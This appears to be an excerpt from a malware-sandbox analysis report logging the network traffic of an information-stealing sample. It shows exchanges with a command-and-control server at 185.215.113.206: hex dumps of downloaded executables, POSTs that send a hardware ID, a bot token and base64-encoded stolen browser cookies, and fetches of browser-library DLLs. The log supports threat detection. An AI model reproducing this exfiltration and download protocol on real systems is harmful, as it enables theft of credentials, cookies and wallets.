Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 08 Dec 2024 16:45:57 GMTContent-Type: application/octet-streamContent-Length: 3296768Last-Modified: Sun, 08 Dec 2024 16:36:52 GMTConnection: keep-aliveETag: "6755cb24-324e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 50 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 32 00 00 04 00 00 d7 d0 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 3e 32 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 3e 32 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 90 06 00 00 04 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 75 61 70 6e 77 65 75 00 90 2b 00 00 b0 06 00 00 90 2b 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 64 69 77 7a 78 74 76 00 10 00 00 00 40 32 00 00 06 00 00 00 26 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 32 00 00 22 00 00 00 2c 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 08 Dec 2024 16:47:10 GMTContent-Type: application/octet-streamContent-Length: 2347520Last-Modified: Sun, 08 Dec 2024 15:22:34 GMTConnection: keep-aliveETag: "6755b9ba-23d200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 44 d8 fe 65 00 b9 90 36 00 b9 90 36 00 b9 90 36 14 d2 95 37 01 b9 90 36 14 d2 93 37 02 b9 90 36 14 d2 94 37 12 b9 90 36 14 d2 91 37 11 b9 90 36 00 b9 91 36 a0 b9 90 36 14 d2 98 37 0a b9 90 36 14 d2 6f 36 01 b9 90 36 14 d2 92 37 01 b9 90 36 52 69 63 68 00 b9 90 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 f8 c4 1b ae 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 14 00 7c 00 00 00 52 23 00 00 00 00 00 00 82 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 24 00 00 04 00 00 38 e0 23 00 02 00 60 c1 00 00 08 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c a2 00 00 b4 00 00 00 00 f0 00 00 b8 20 23 00 00 e0 00 00 08 04 00 00 00 00 00 00 00 00 00 00 00 20 24 00 20 00 00 00 10 9a 00 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 90 00 00 18 01 00 00 00 00 00 00 00 00 00 00 28 91 00 00 20 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 80 7b 00 00 00 10 00 00 00 7c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c8 22 00 00 00 90 00 00 00 24 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 1f 00 00 00 c0 00 00 00 04 00 00 00 a4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 08 04 00 00 00 e0 00 00 00 06 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 30 23 00 00 f0 00 00 00 22 23 00 00 ae 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 20 00 00 00 00 20 24 00 00 02 00 00 00 d0 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAECFIJDAAAKECBFCGHIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 30 36 31 30 43 43 43 46 42 37 33 31 35 34 36 30 38 36 36 30 33 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 2d 2d 0d 0a Data Ascii: ------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="hwid"E0610CCCFB731546086603------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="build"stok------DAECFIJDAAAKECBFCGHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAECAFHDBGIDGCAEHJEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 2d 2d 0d 0a Data Ascii: ------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="message"browsers------DAAECAFHDBGIDGCAEHJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="message"plugins------CBGCAFIIECBFIDHIJKFB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIIEHJKKECGCBFIIJDAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 2d 2d 0d 0a Data Ascii: ------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="message"fplugins------FHIIEHJKKECGCBFIIJDA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHIIEHJKKECGCBFIIJDHost: 185.215.113.206Content-Length: 7791Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGCFHIDAKECFHIEBFCGHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 2d 2d 0d 0a Data Ascii: ------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HDGCFHIDAKECFHIEBFCG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEGCFBGDHJJJJJKJECFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 2d 2d 0d 0a Data Ascii: ------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="file"------KJEGCFBGDHJJJJJKJECF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIJKEBFBFHIJJKEHDHIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 2d 2d 0d 0a Data Ascii: ------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="file"------BFIJKEBFBFHIJJKEHDHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIJKEBFBFHIJJKEHDHIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 2d 2d 0d 0a Data Ascii: ------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="file"------BFIJKEBFBFHIJJKEHDHI--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHCBKKKFHCGCBFIJEHDHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKKJJKJEGIECAKJJEBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 4b 4a 4a 4b 4a 45 47 49 45 43 41 4b 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 4b 4a 4a 4b 4a 45 47 49 45 43 41 4b 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 4b 4a 4a 4b 4a 45 47 49 45 43 41 4b 4a 4a 45 42 2d 2d 0d 0a Data Ascii: ------KKJKKJJKJEGIECAKJJEBContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------KKJKKJJKJEGIECAKJJEBContent-Disposition: form-data; name="message"wallets------KKJKKJJKJEGIECAKJJEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFBAKEHIEBKJJJJJKKKEHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 2d 2d 0d 